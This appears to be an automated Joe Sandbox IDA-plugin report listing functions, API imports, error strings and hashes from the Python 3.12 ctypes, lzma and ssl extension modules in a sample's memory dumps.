Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Arg_Err_ParseSizeTuple_$FormatString
String ID: abstract class$is|Oz#$i|OO$paramflag value %d not supported$paramflags must be a sequence of (int [,string [,value]]) tuples$paramflags must be a tuple or None$paramflags must have the same length as argtypes
API String ID: 2189051491-1121734848
Opcode ID: bda2e868e4542079e7fe6cb0dcfcf7b76e617f2e3acb3590be12db6ef01e3b44
Instruction ID: 0e1523c6e1906224ba073e5169a58e7ba7c54aec57017d8c8857c2ae51526f72
Opcode Fuzzy Hash: bda2e868e4542079e7fe6cb0dcfcf7b76e617f2e3acb3590be12db6ef01e3b44
Instruction Fuzzy Hash: 8B615E72A08E42C9EB18CB56D4403BC27A1FB54BA4F4441B6DE6E67B68DF3CE485C348

Function 00007FFE10250B5C Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

PyMapping_Check.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250B81
PyMapping_GetItemString.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250B9B
PyLong_AsUnsignedLongLong.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250BB0
PyErr_Occurred.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250BC7
PyErr_ExceptionMatches.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250C40
PyErr_Format.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250C89
PyErr_SetString.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250CA2
_Py_Dealloc.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10255D3A

Strings

Invalid filter ID: %llu, xrefs: 00007FFE10250C7C
Filter specifier must be a dict or dict-like object, xrefs: 00007FFE10255D2B
Filter specifier must have an "id" entry, xrefs: 00007FFE10250C98

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Err_$LongMapping_String$CheckDeallocExceptionFormatItemLong_MatchesOccurredUnsigned
String ID: Filter specifier must be a dict or dict-like object$Filter specifier must have an "id" entry$Invalid filter ID: %llu
API String ID: 1881886752-3390802605
Opcode ID: 0c5f6f5e7484fbb015a79b71ea40a48de156ee4d8636223415d5697c2780f545
Instruction ID: 7d00ab8d56320eb97cf0a4d0f7441b593baa9984c1c717501ef627cfd1bd3bbd
Opcode Fuzzy Hash: 0c5f6f5e7484fbb015a79b71ea40a48de156ee4d8636223415d5697c2780f545
Instruction Fuzzy Hash: 984114B1A08E43C1EA644F17A8D41B86BA0FBC5BA5F0480B2DB4D56772FEBCE441C309

Function 00007FFE11EC61B4 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

PyUnicode_AsUTF8String.PYTHON312(?,?,?,00007FFE11EC6120), ref: 00007FFE11EC61EB
PyErr_Format.PYTHON312(?,?,?,00007FFE11EC6120), ref: 00007FFE11EC6260
PyMem_Free.PYTHON312(?,?,?,00007FFE11EC6120), ref: 00007FFE11EC626C
PyMem_Malloc.PYTHON312(?,?,?,00007FFE11EC6120), ref: 00007FFE11EC6275
PyErr_SetString.PYTHON312(?,?,?,00007FFE11EC6120), ref: 00007FFE11EC6295
_Py_Dealloc.PYTHON312(?,?,?,00007FFE11EC6120), ref: 00007FFE11EC62AE
memcpy.VCRUNTIME140(?,?,?,00007FFE11EC6120), ref: 00007FFE11EC62BF
_Py_Dealloc.PYTHON312(?,?,?,00007FFE11EC6120), ref: 00007FFE11EC62DB
PyErr_SetString.PYTHON312(?,?,?,00007FFE11EC6120), ref: 00007FFE11EC62F5

Strings

unable to allocate password buffer, xrefs: 00007FFE11EC628B
password cannot be longer than %d bytes, xrefs: 00007FFE11EC6256

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Err_String$DeallocMem_$FormatFreeMallocUnicode_memcpy
String ID: password cannot be longer than %d bytes$unable to allocate password buffer
API String ID: 1570515377-2395793021
Opcode ID: 5f9e72bc4cddf5341b642ddfa950700abbce585c25b8a7cecc493736a24efad4
Instruction ID: f4956f233e62f9283c6131e93ed2a42d0392087620641eedfe47f390a284d41c
Opcode Fuzzy Hash: 5f9e72bc4cddf5341b642ddfa950700abbce585c25b8a7cecc493736a24efad4
Instruction Fuzzy Hash: 3D410B25A08E4281EB288B97DC4437BA3A9FB89FA5F8440B1CA5E47B74CE3DF4418741

Function 00007FFE10250710 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 67COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFE10250741
PyLong_AsUnsignedLongLong.PYTHON312 ref: 00007FFE10250756
PyErr_Occurred.PYTHON312 ref: 00007FFE1025075F
PyObject_GetBuffer.PYTHON312 ref: 00007FFE10250776
PyBuffer_IsContiguous.PYTHON312 ref: 00007FFE10250787
PyBuffer_Release.PYTHON312 ref: 00007FFE102507B5
_PyArg_CheckPositional.PYTHON312 ref: 00007FFE10255C03
_PyArg_BadArgument.PYTHON312 ref: 00007FFE10255C2F

Part of subcall function 00007FFE102507D4: PyModule_GetState.PYTHON312(?,?,?,?,?,00007FFE102507A5), ref: 00007FFE102507E6
Part of subcall function 00007FFE102507D4: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FFE102507A5), ref: 00007FFE10250822

Strings

contiguous buffer, xrefs: 00007FFE10255C1A
argument 2, xrefs: 00007FFE10255C21
_decode_filter_properties, xrefs: 00007FFE10255BF9, 00007FFE10255C28

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Arg_Buffer_Long$ArgumentBufferCheckContiguousErr_Long_Module_Object_OccurredPositionalReleaseStateUnsignedfreememset
String ID: _decode_filter_properties$argument 2$contiguous buffer
API String ID: 3656606796-2431706548
Opcode ID: 6ac779201fb040bc529056ec0a6a5a048fdef9ca7122a7e56471178991ab58fb
Instruction ID: b0e8276a7aa6bb4cb56ac8fa5d9d369c072114d67df18edf30930f62f5fd0a72
Opcode Fuzzy Hash: 6ac779201fb040bc529056ec0a6a5a048fdef9ca7122a7e56471178991ab58fb
Instruction Fuzzy Hash: 97318FA1A08E8281EA108B23D8841E96BA0FFC8F94F9481B1DF4D53776EF7CE545C704

Function 00007FFE102486B8 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 60COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE10248707
PyErr_NoMemory.PYTHON312 ref: 00007FFE10254E18

Strings

Internal error, xrefs: 00007FFE1024872C
Unsupported integrity check, xrefs: 00007FFE10254E24
Insufficient buffer space, xrefs: 00007FFE10248754
Invalid or unsupported options, xrefs: 00007FFE10248742
Corrupt input data, xrefs: 00007FFE1024874B
Input format not supported by decoder, xrefs: 00007FFE102486FC
Memory usage limit exceeded, xrefs: 00007FFE10248735
Unrecognized error from liblzma: %d, xrefs: 00007FFE10254E37

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Err_$MemoryString
String ID: Corrupt input data$Input format not supported by decoder$Insufficient buffer space$Internal error$Invalid or unsupported options$Memory usage limit exceeded$Unrecognized error from liblzma: %d$Unsupported integrity check
API String ID: 60457842-2177155514
Opcode ID: e667bd3184b1031ca586e5cabd8905ebea692642c7ea9d8a448339030e972199
Instruction ID: ec0a690df0bc9faeab97b64d5175b60f6365bee609f8bedb7b9b80fe4f46285e
Opcode Fuzzy Hash: e667bd3184b1031ca586e5cabd8905ebea692642c7ea9d8a448339030e972199
Instruction Fuzzy Hash: D0215E68E3CD03C1E6A9471B94640BC5EA1AFC6770F6050B1C70E81BB6EEEDF944D604

Function 00007FFE13385994 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338599D
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133859BC
PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133859D1
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133859F0
PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385A08
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385A27
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389AF0
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389B10
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389B4C

Strings

CTYPES_MAX_ARGCOUNT, xrefs: 00007FFE13385A1D
RTLD_GLOBAL, xrefs: 00007FFE133859E6
RTLD_LOCAL, xrefs: 00007FFE133859B2

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocFromLongLong_Module_Object
String ID: CTYPES_MAX_ARGCOUNT$RTLD_GLOBAL$RTLD_LOCAL
API String ID: 3159170848-4138203729
Opcode ID: 2b5bdd45be89c82a80fdfe5491b561934f14de0ff0fa7bc3356eacad93b1a742
Instruction ID: 1011869b2c75df26d6528f4a6e6f899f8d1548ae17b01b64ab271b45ddd9215e
Opcode Fuzzy Hash: 2b5bdd45be89c82a80fdfe5491b561934f14de0ff0fa7bc3356eacad93b1a742
Instruction Fuzzy Hash: C9212161E0DF43CDFB165F1784901BD26A55F65BA1F0402F9C92F756F5DE2CA0848309

Function 00007FFE11EC817C Relevance: 18.1, APIs: 12, Instructions: 71threadCOMMON

Download Yara Rule

APIs

_Py_fopen_obj.PYTHON312 ref: 00007FFE11EC81A5
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE11EC81B3
PyEval_SaveThread.PYTHON312 ref: 00007FFE11EC81BC
PEM_read_DHparams.LIBCRYPTO-3 ref: 00007FFE11EC81D0
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFE11EC81DC
PyEval_RestoreThread.PYTHON312 ref: 00007FFE11EC81E5
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE11EC81F0
PyErr_SetFromErrnoWithFilenameObject.PYTHON312 ref: 00007FFE11EC8207
ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC820D
SSL_CTX_ctrl.LIBSSL-3 ref: 00007FFE11EC8256
DH_free.LIBCRYPTO-3 ref: 00007FFE11EC8263
DH_free.LIBCRYPTO-3 ref: 00007FFE11EC8281

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Eval_H_freeThread_errno$Err_ErrnoFilenameFromHparamsM_read_ObjectPy_fopen_objR_clear_errorRestoreSaveWithX_ctrlfclose
String ID:
API String ID: 1346594628-0
Opcode ID: d8dbcb226fcf11d68ebc5b41bf20ef14c1123230d1de28d35d378d2033140788
Instruction ID: 53821cd1781911737148977fb84e74bb9d3c638ba419ce62f125ee47bb25c0a5
Opcode Fuzzy Hash: d8dbcb226fcf11d68ebc5b41bf20ef14c1123230d1de28d35d378d2033140788
Instruction Fuzzy Hash: BE316025A18E5182E7149BA7ED1876AA3A9FF88FA0B9440B0DE4D43B34DF3EF4458740

Function 00007FFE11EC4BE0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

PyGILState_Ensure.PYTHON312 ref: 00007FFE11EC4C08
SSL_get_ex_data.LIBSSL-3 ref: 00007FFE11EC4C1B
PyWeakref_GetObject.PYTHON312 ref: 00007FFE11EC4C45
_PyObject_CallFunction_SizeT.PYTHON312 ref: 00007FFE11EC4CE3
PyErr_GetRaisedException.PYTHON312 ref: 00007FFE11EC4CEE
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC4D08
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC4D1C

Strings

write, xrefs: 00007FFE11EC4CAB
Osiiiy#, xrefs: 00007FFE11EC4CD3
read, xrefs: 00007FFE11EC4CA1

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Dealloc$CallEnsureErr_ExceptionFunction_L_get_ex_dataObjectObject_RaisedSizeState_Weakref_
String ID: Osiiiy#$read$write
API String ID: 319021734-708132800
Opcode ID: 3b2b216f17ebdb0acafd3b866d8e540c79141b61aab4f3953f3959b7defdeaef
Instruction ID: e877393c107131a8b3842521127d7d223bce2122c119131b9594c47503824dba
Opcode Fuzzy Hash: 3b2b216f17ebdb0acafd3b866d8e540c79141b61aab4f3953f3959b7defdeaef
Instruction Fuzzy Hash: B0415932908E4686E7698FA6AC5473A77E8FB88BA4F8541B5CA5E43774DF3DF4418300

Function 00007FFE1338B604 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE1338B63B
memmove.VCRUNTIME140 ref: 00007FFE1338B666
PyObject_GetAttrString.PYTHON312 ref: 00007FFE1338B675
PyErr_Format.PYTHON312 ref: 00007FFE1338B6B1
_Py_Dealloc.PYTHON312 ref: 00007FFE1338B6C5
PyDict_Update.PYTHON312 ref: 00007FFE1338B6E0
_Py_Dealloc.PYTHON312 ref: 00007FFE1338B6F6

Strings

__dict__, xrefs: 00007FFE1338B66B
%.200s.__dict__ must be a dictionary, not %.200s, xrefs: 00007FFE1338B698
O!s#, xrefs: 00007FFE1338B629

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$Arg_AttrDict_Err_FormatObject_ParseSizeStringTuple_Updatememmove
String ID: %.200s.__dict__ must be a dictionary, not %.200s$O!s#$__dict__
API String ID: 847698918-4068157617
Opcode ID: a23a911fdf928a5056c7d9d25fb5b0d325737b9c919e022f989d60ccd5521511
Instruction ID: e43a984a86752d1be7a8baadf478a6907c6d6fac93ff5c839d885d3a6dc9edc0
Opcode Fuzzy Hash: a23a911fdf928a5056c7d9d25fb5b0d325737b9c919e022f989d60ccd5521511
Instruction Fuzzy Hash: BD311C62A08E46C9EB048F17D95417C23A1FB65BF4F1842B6DA6E67B74CF3CE5948304

Function 00007FFE10247FEC Relevance: 16.7, APIs: 11, Instructions: 154COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON312 ref: 00007FFE102480AD
memcpy.VCRUNTIME140 ref: 00007FFE102480D5
memcpy.VCRUNTIME140 ref: 00007FFE1024811F
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE10248152
PyMem_Realloc.PYTHON312 ref: 00007FFE10248196
memmove.VCRUNTIME140 ref: 00007FFE102481C4
PyErr_SetNone.PYTHON312 ref: 00007FFE10254CC0
PyMem_Free.PYTHON312 ref: 00007FFE10254CE5
_Py_Dealloc.PYTHON312 ref: 00007FFE10254D19

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Mem_$memcpy$Bytes_DeallocErr_FreeFromMallocNoneReallocSizeStringmemmove
String ID:
API String ID: 1220578264-0
Opcode ID: 85adeaa55f33651ef0f232b94068ae9b2308325af99af7830eee87ddd8bfa38a
Instruction ID: 224763e77e983d8a177589c8fe6fd0d4d7876b710f59dde7f2d3422825ac2c47
Opcode Fuzzy Hash: 85adeaa55f33651ef0f232b94068ae9b2308325af99af7830eee87ddd8bfa38a
Instruction Fuzzy Hash: 97513B62A2AE42C1EA508F26A44027D6AA5FB84FB4F145072CF4D67766DF7CE496C304

Function 00007FFE11EC23C0 Relevance: 16.6, APIs: 11, Instructions: 72COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON312 ref: 00007FFE11EC23CD
PyType_FromModuleAndSpec.PYTHON312 ref: 00007FFE11EC23E3
PyType_FromModuleAndSpec.PYTHON312 ref: 00007FFE11EC2402
PyType_FromModuleAndSpec.PYTHON312 ref: 00007FFE11EC2422
PyType_FromModuleAndSpec.PYTHON312 ref: 00007FFE11EC2442
PyType_FromModuleAndSpec.PYTHON312 ref: 00007FFE11EC245E
PyModule_AddType.PYTHON312 ref: 00007FFE11EC2473
PyModule_AddType.PYTHON312 ref: 00007FFE11EC2484
PyModule_AddType.PYTHON312 ref: 00007FFE11EC2495
PyModule_AddType.PYTHON312 ref: 00007FFE11EC24A6
PyModule_AddType.PYTHON312 ref: 00007FFE11EC24B7

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Module_$FromModuleSpecTypeType_$State
String ID:
API String ID: 1138651315-0
Opcode ID: c12daf4ef74437e9ee43a0ab028c9d2325d444946053406999bb479739ffdcf6
Instruction ID: aa7f4766619229f3946f542a99a843c403afe0e34f15be5b875888a8b6ddf921
Opcode Fuzzy Hash: c12daf4ef74437e9ee43a0ab028c9d2325d444946053406999bb479739ffdcf6
Instruction Fuzzy Hash: 5E31E065709F0382EB549FAFED5023A63A8BF09BA0B846574CD1E03B60EF3DF0548654

Function 00007FFE1338BFFC Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 147COMMON

Download Yara Rule

APIs

PyObject_CallObject.PYTHON312 ref: 00007FFE1338C073

Strings

expected %s instance, got %s, xrefs: 00007FFE1338C119
(%s) , xrefs: 00007FFE1338C088
incompatible types, %s instance instead of %s instance, xrefs: 00007FFE1338C211

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: CallObjectObject_
String ID: (%s) $expected %s instance, got %s$incompatible types, %s instance instead of %s instance
API String ID: 3040866976-3177377183
Opcode ID: af6d4e2245ee34324dee10afa7115aa10367a59af1e1ef909c6aef2a31eb5c86
Instruction ID: f68f702941cdaa7ca566ae34fa9a428d9bdd4ed3ee3f496b793756061cf58241
Opcode Fuzzy Hash: af6d4e2245ee34324dee10afa7115aa10367a59af1e1ef909c6aef2a31eb5c86
Instruction Fuzzy Hash: F2517E65A08F0289EE049B53E55017DA361AFA5BE0F4442F6DE2E67BB5DF2CE480C348

Function 00007FFE13381510 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

PyTuple_New.PYTHON312 ref: 00007FFE13381544
PyUnicode_Concat.PYTHON312 ref: 00007FFE1338156C
_Py_Dealloc.PYTHON312 ref: 00007FFE133815D6
PyDict_Update.PYTHON312 ref: 00007FFE1338165C
_Py_Dealloc.PYTHON312 ref: 00007FFE13381683
PyUnicode_InternFromString.PYTHON312 ref: 00007FFE133816B2
_Py_Dealloc.PYTHON312 ref: 00007FFE13386E30

Strings

_be, xrefs: 00007FFE133816AB

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$Unicode_$ConcatDict_FromInternStringTuple_Update
String ID: _be
API String ID: 1858819020-4071763053
Opcode ID: 747dde9d90dc3868c6292cf92dfc61e4255c9b46212e543ffcac9ad7979b6ade
Instruction ID: 2e6d8b58c588c0a50f0e27054a2755f8f1f14dc96d3e6594a660dba2152546ed
Opcode Fuzzy Hash: 747dde9d90dc3868c6292cf92dfc61e4255c9b46212e543ffcac9ad7979b6ade
Instruction Fuzzy Hash: 2251F872A09E02C9EB148F26D95423C73A5FB64BA4F1842B5CA6E67B74DF3CE490D344

Function 00007FFE1338D92C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 129COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1338CF88: _PyObject_GC_NewVar.PYTHON312(?,?,?,00007FFE1338D95C,?,?,?,?,?,00007FFE1338707C), ref: 00007FFE1338CF9F
Part of subcall function 00007FFE1338CF88: memset.VCRUNTIME140(?,?,?,00007FFE1338D95C,?,?,?,?,?,00007FFE1338707C), ref: 00007FFE1338CFEC
Part of subcall function 00007FFE1338CF88: PyObject_GC_Track.PYTHON312(?,?,?,00007FFE1338D95C,?,?,?,?,?,00007FFE1338707C), ref: 00007FFE1338CFF4

PyErr_NoMemory.PYTHON312(?,?,?,?,?,00007FFE1338707C), ref: 00007FFE1338D99C
_Py_Dealloc.PYTHON312 ref: 00007FFE1338DAF5

